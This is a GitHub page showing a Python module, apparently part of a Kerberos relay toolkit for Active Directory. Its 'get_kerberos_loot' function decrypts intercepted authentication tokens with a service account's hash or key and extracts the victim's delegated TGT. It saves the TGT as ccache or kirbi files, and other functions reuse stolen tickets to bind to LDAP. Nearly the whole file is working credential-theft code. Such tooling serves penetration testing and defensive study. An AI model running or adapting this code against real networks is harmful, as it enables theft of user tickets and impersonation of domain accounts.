Skip to content
Permalink
Branch: master
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
296 lines (251 sloc) 11.8 KB
import struct
import datetime
from binascii import unhexlify, hexlify
from pyasn1.type.univ import noValue
from pyasn1.codec.der import decoder, encoder
from pyasn1.error import PyAsn1Error
from ldap3 import Server, Connection, NTLM, ALL, SASL, KERBEROS
from ldap3.core.results import RESULT_STRONGER_AUTH_REQUIRED
from ldap3.operation.bind import bind_operation
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
from impacket.krb5.gssapi import KRB5_AP_REQ, GSS_C_DELEG_FLAG
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \
Ticket as TicketAsn1, EncTGSRepPart, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1, KRB_CRED, EncKrbCredPart
from impacket.krb5.crypto import Key, _enctype_table, Enctype, InvalidChecksum, string_to_key
from krbcredccache import KrbCredCCache
from spnego import GSSAPIHeader_SPNEGO_Init, GSSAPIHeader_KRB5_AP_REQ
from impacket import LOG
from impacket.krb5.types import Principal, KerberosTime, Ticket
from impacket.krb5 import constants
from impacket.krb5.kerberosv5 import getKerberosTGS
from Cryptodome.Hash import HMAC, MD4
def get_kerberos_loot(token, options):
from pyasn1 import debug
# debug.setLogger(debug.Debug('all'))
# Do we have a Krb ticket?
blob = decoder.decode(token, asn1Spec=GSSAPIHeader_SPNEGO_Init())[0]
# print str(blob)
data = blob['innerContextToken']['negTokenInit']['mechToken']
try:
payload = decoder.decode(data, asn1Spec=GSSAPIHeader_KRB5_AP_REQ())[0]
except PyAsn1Error:
raise Exception('Error obtaining Kerberos data')
# print payload
# It is an AP_REQ
decodedTGS = payload['apReq']
# print decodedTGS
# Get ticket data
cipherText = decodedTGS['ticket']['enc-part']['cipher']
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
# application session key), encrypted with the service key
# (section 5.4.2)
newCipher = _enctype_table[int(decodedTGS['ticket']['enc-part']['etype'])]
# Create decryption keys from specified Kerberos keys
if options.hashes is not None:
nthash = options.hashes.split(':')[1]
else:
nthash = ''
aesKey = options.aeskey or ''
allciphers = [
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)
]
# Store Kerberos keys
# TODO: get the salt from preauth info (requires us to send AS_REQs to the DC)
keys = {}
if nthash != '':
keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(nthash)
if aesKey != '':
if len(aesKey) == 64:
keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)] = unhexlify(aesKey)
else:
keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)] = unhexlify(aesKey)
ekeys = {}
for kt, key in keys.items():
ekeys[kt] = Key(kt, key)
# Calculate Kerberos keys from specified password/salt
if options.password and options.salt:
for cipher in allciphers:
if cipher == 23 and options.israwpassword:
# RC4 calculation is done manually for raw passwords
md4 = MD4.new()
md4.update(options.password)
ekeys[cipher] = Key(cipher, md4.digest())
else:
# Do conversion magic for raw passwords
if options.israwpassword:
rawsecret = options.password.decode('utf-16-le', 'replace').encode('utf-8', 'replace')
else:
# If not raw, it was specified from the command line, assume it's not UTF-16
rawsecret = options.password
ekeys[cipher] = string_to_key(cipher, rawsecret, options.salt)
LOG.debug('Calculated type %d Kerberos key: %s', cipher, hexlify(ekeys[cipher].contents))
# Select the correct encryption key
try:
key = ekeys[decodedTGS['ticket']['enc-part']['etype']]
# This raises a KeyError (pun intended) if our key is not found
except KeyError:
LOG.error('Could not find the correct encryption key! Ticket is encrypted with keytype %d, but keytype(s) %s were supplied',
decodedTGS['ticket']['enc-part']['etype'],
', '.join([str(enctype) for enctype in ekeys.keys()]))
return None
# Recover plaintext info from ticket
try:
plainText = newCipher.decrypt(key, 2, str(cipherText))
except InvalidChecksum:
LOG.error('Ciphertext integrity failed. Most likely the account password or AES key is incorrect')
if options.salt:
LOG.info('You specified a salt manually. Make sure it has the correct case.')
return
LOG.debug('Ticket decrypt OK')
encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
sessionKey = Key(encTicketPart['key']['keytype'], str(encTicketPart['key']['keyvalue']))
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
# print encTicketPart
flags = encTicketPart['flags'].asBinary()
# print flags
# for flag in TicketFlags:
# if flags[flag.value] == '1':
# print flag
# print flags[TicketFlags.ok_as_delegate.value]
cipherText = decodedTGS['authenticator']['cipher']
newCipher = _enctype_table[int(decodedTGS['authenticator']['etype'])]
# Recover plaintext info from authenticator
plainText = newCipher.decrypt(sessionKey, 11, str(cipherText))
authenticator = decoder.decode(plainText, asn1Spec=Authenticator())[0]
# print authenticator
# The checksum may contain the delegated ticket
cksum = authenticator['cksum']
if cksum['cksumtype'] != 32771:
raise Exception('Checksum is not KRB5 type: %d' % cksum['cksumtype'])
# Checksum as in 4.1.1 [RFC4121]
# Fields:
# 0-3 Length of channel binding info (fixed at 16)
# 4-19 channel binding info
# 20-23 flags
# 24-25 delegation option identifier
# 26-27 length of deleg field
# 28..(n-1) KRB_CRED message if deleg is used (n = length of deleg + 28)
# n..last extensions
flags = struct.unpack('<L', str(cksum['checksum'])[20:24])[0]
# print flags
if not flags & GSS_C_DELEG_FLAG:
LOG.error('Delegate info not set, cannot extract ticket!')
LOG.error('Make sure the account you use has unconstrained delegation rights')
return
dlen = struct.unpack('<H', str(cksum['checksum'])[26:28])[0]
deldata = str(cksum['checksum'])[28:28+dlen]
creds = decoder.decode(deldata, asn1Spec=KRB_CRED())[0]
# print creds
subkey = Key(authenticator['subkey']['keytype'], str(authenticator['subkey']['keyvalue']))
newCipher = _enctype_table[int(creds['enc-part']['etype'])]
plainText = newCipher.decrypt(sessionKey, 14, str(creds['enc-part']['cipher']))
# print plainText
# Now we got the EncKrbCredPart
enc_part = decoder.decode(plainText, asn1Spec=EncKrbCredPart())[0]
# print enc_part
for i, tinfo in enumerate(enc_part['ticket-info']):
# This is what we are after :)
# uname = Principal(ticket['pname']['name-string'][0])
username = '/'.join([str(item) for item in tinfo['pname']['name-string']])
realm = str(tinfo['prealm'])
fullname = '%s@%s' % (username, realm)
sname = Principal([str(item) for item in tinfo['sname']['name-string']])
LOG.info('Got ticket for %s [%s]', fullname, sname)
ticket = creds['tickets'][i]
filename = '%s_%s' % (fullname, sname)
saveformat = options.format
LOG.info('Saving ticket in %s.%s', filename, saveformat)
ccache = KrbCredCCache()
ccache.fromKrbCredTicket(ticket, tinfo)
if saveformat == 'ccache':
ccache.saveFile(filename + '.ccache')
else:
# Save as Kirbi
oc = KRB_CRED()
oc['tickets'].append(ticket)
oc['enc-part']['etype'] = 0
new_enc_part = EncKrbCredPart()
new_enc_part['ticket-info'].append(tinfo)
oc['enc-part']['cipher'] = encoder.encode(new_enc_part)
ocdata = encoder.encode(oc)
with open(filename + '.kirbi', 'wb') as outfile:
outfile.write(ocdata)
data = {
'username': username,
'domain': realm,
# We take it from the ccache since this already has a helper function to get
# it in the right format.
'tgt': ccache.credentials[0].toTGT()
}
return data
def kirbi2ccache(kirbifile, ccachefile):
with open(kirbifile, 'rb') as infile:
data = infile.read()
creds = decoder.decode(data, asn1Spec=KRB_CRED())[0]
# This shouldn't be encrypted normally
if creds['enc-part']['etype'] != 0:
raise Exception('Ticket info is encrypted with cipher other than null')
enc_part = decoder.decode(creds['enc-part']['cipher'], asn1Spec=EncKrbCredPart())[0]
tinfo = enc_part['ticket-info']
ccache = KrbCredCCache()
# Enumerate all
for i, tinfo in enumerate(tinfo):
ccache.fromKrbCredTicket(creds['tickets'][i], tinfo)
ccache.saveFile(ccachefile)
def ccache2kirbi(ccachefile, kirbifile):
ccache = KrbCredCCache.loadFile(ccachefile)
### TODO from here ###
def ldap_kerberos(domain, kdc, tgt, username, ldapconnection, hostname):
# Hackery to authenticate with ldap3 using impacket Kerberos stack
# I originally wrote this for BloodHound.py, but it works fine (tm) here too
username = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
servername = Principal('ldap/%s' % hostname, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, _, sessionkey = getKerberosTGS(servername, domain, kdc,
tgt['KDC_REP'], tgt['cipher'], tgt['sessionKey'])
# Let's build a NegTokenInit with a Kerberos AP_REQ
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', username.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionkey, 11, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
# From here back to ldap3
ldapconnection.open(read_server_info=False)
request = bind_operation(ldapconnection.version, SASL, None, None, ldapconnection.sasl_mechanism, blob.getData())
response = ldapconnection.post_send_single_response(ldapconnection.send('bindRequest', request, None))[0]
ldapconnection.result = response
if response['result'] == 0:
ldapconnection.bound = True
ldapconnection.refresh_server_info()
return response['result'] == 0
You can’t perform that action at this time.